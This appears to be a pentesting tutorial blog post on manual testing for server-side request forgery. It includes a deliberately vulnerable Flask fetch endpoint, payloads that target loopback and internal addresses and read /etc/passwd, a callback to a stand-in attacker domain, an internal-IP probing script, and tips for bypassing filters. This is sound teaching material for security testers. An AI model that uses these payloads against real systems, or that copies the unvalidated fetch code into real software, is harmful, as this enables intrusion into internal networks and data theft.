Manual Testing for Server-Side Request Forgery (SSRF) in Web Applications: A Technical Deep-Dive
Server-Side Request Forgery (SSRF) remains one of the more challenging vulnerabilities to detect and exploit during web application penetration tests. In this installment of the Learn Pentesting series, we’ll take a deep dive into manual testing techniques for SSRF, explore real-world testing scenarios, and illustrate our process with code examples.
What Is SSRF?
SSRF occurs when an attacker can manipulate a server-side application to make HTTP requests to unintended destinations. The vulnerability often arises when a web application fetches remote resources based on user-supplied input—typically via a URL parameter. When exploited, SSRF can allow attackers to:
- Access internal resources (e.g., cloud metadata services, internal APIs, or administration interfaces)
- Bypass firewall restrictions
- Enumerate internal networks
Understanding the typical SSRF use cases is critical. Many SSRF issues stem from poor validation of user inputs, where the server blindly follows redirections or allows protocols other than HTTP/HTTPS.
Setting Up a Test Environment
Before diving into exploitation, it’s important to have a controlled environment where you can safely test SSRF scenarios. One common approach is to create a simple vulnerable server. Below is an example using Python’s Flask framework that demonstrates a basic SSRF vulnerability:
from flask import Flask, request, jsonify
import requests
app = Flask(__name__)
@app.route('/fetch')
def fetch():
# The URL parameter is directly used without validation
target_url = request.args.get('url')
if not target_url:
return jsonify({"error": "No URL provided"}), 400
try:
response = requests.get(target_url, timeout=5)
return jsonify({
"status_code": response.status_code,
"headers": dict(response.headers),
"content": response.text[:200] # limit output for brevity
})
except Exception as e:
return jsonify({"error": str(e)}), 500
if __name__ == '__main__':
app.run(port=5000, debug=True)
In this code:
- The
/fetch
endpoint accepts aurl
parameter. - It fetches the URL’s content without any checks, making it vulnerable to SSRF.
Note: This sample is intentionally vulnerable. In production environments, never allow unvalidated user input to dictate outbound requests.
Manual Testing Techniques
1. Identifying the SSRF Endpoint
When performing a penetration test, begin by mapping all endpoints that accept URL parameters or external inputs. Common entry points include:
- Image or document fetchers
- URL preview generators
- API endpoints that aggregate external data
Use a proxy like Burp Suite to intercept requests and carefully examine parameters. Look for signs of user input being used in backend HTTP requests.
2. Crafting Malicious Payloads
Testing for SSRF often involves supplying payloads that target both external and internal resources. Some common payloads include:
Loopback addresses:
http://localhost:80
orhttp://127.0.0.1:80
Internal network ranges:
http://192.168.1.1
http://10.0.0.1
Non-HTTP protocols (if supported):
file:///etc/passwd
gopher://127.0.0.1:11211/_<payload>
DNS-based payloads:
Using an external domain you control to see if the server makes a DNS lookup. For example,http://uniqueidentifier.attacker.com
You might test these payloads with a simple curl
command:
curl 'http://<target-ip>:5000/fetch?url=http://127.0.0.1:80'
If the application is vulnerable, you may receive a response that includes internal data or error messages that reveal sensitive information.
3. Detecting Outbound Requests
For more sophisticated testing, set up an external server to capture outbound requests. One effective method is to use a simple logging server:
import http.server
import socketserver
PORT = 8000
class RequestHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
print(f"Received request: {self.path}")
self.send_response(200)
self.end_headers()
self.wfile.write(b'Logged!')
with socketserver.TCPServer(("", PORT), RequestHandler) as httpd:
print(f"Serving on port {PORT}")
httpd.serve_forever()
Run this server on a machine you control. Then, supply a payload to the target using your controlled domain:
curl 'http://<target-ip>:5000/fetch?url=http://your-controlled-domain.com:8000'
If the vulnerable server makes the outbound request, your logging server will record the hit, confirming the SSRF.
Analyzing and Exploiting Responses
Interpreting the Results
HTTP Status Codes:
An HTTP 200 OK status may indicate that the SSRF attempt successfully fetched content from an internal resource.
Conversely, a 500 error might reveal internal server issues that can be further exploited.Response Headers:
Sometimes headers can leak internal IP addresses or software versions. This information may help in crafting further targeted attacks.Content Body:
Partial or full content returned from internal resources might contain sensitive configuration data or hints about the internal network structure.
Automation and Scripting
While manual testing is crucial, automating repetitive tasks can save time. You can write a Python script to iterate over a list of potential internal endpoints:
import requests
vulnerable_endpoint = "http://<target-ip>:5000/fetch"
test_urls = [
"http://127.0.0.1:80",
"http://localhost:80",
"http://192.168.1.1",
"http://10.0.0.1"
]
for url in test_urls:
params = {'url': url}
try:
response = requests.get(vulnerable_endpoint, params=params, timeout=5)
print(f"Testing {url}: Status {response.status_code}")
if response.status_code == 200:
print(response.json())
except Exception as e:
print(f"Error testing {url}: {e}")
This script iterates through a list of common internal IP addresses, logs responses, and can be enhanced to check for specific anomalies.
Advanced Testing Considerations
Bypassing Filters and WAFs
If the target application uses input sanitization or Web Application Firewalls (WAFs), try obfuscation techniques:
- URL Encoding: Encode parts of the URL to bypass simple filters.
- Double Encoding: Sometimes double-encoding helps bypass overly aggressive sanitization.
- Alternate IP Representations: Use decimal, octal, or hexadecimal representations of IP addresses.
Protocol Abuse
Not all SSRF vulnerabilities are limited to HTTP/HTTPS. If the application supports other protocols (e.g., FTP, SMTP), these can be used to access services in ways that might expose additional vulnerabilities.
Conclusion
Testing for SSRF vulnerabilities is both an art and a science. By methodically mapping endpoints, crafting targeted payloads, and analyzing responses, penetration testers can uncover SSRF issues that might otherwise remain hidden. The code examples and testing techniques outlined here offer a foundation for further exploration, and we encourage you to experiment with variations tailored to your specific target environment.
Stay tuned for the next installment in our Learn Pentesting series, where we’ll explore advanced SSRF bypass techniques and mitigation strategies. Happy testing!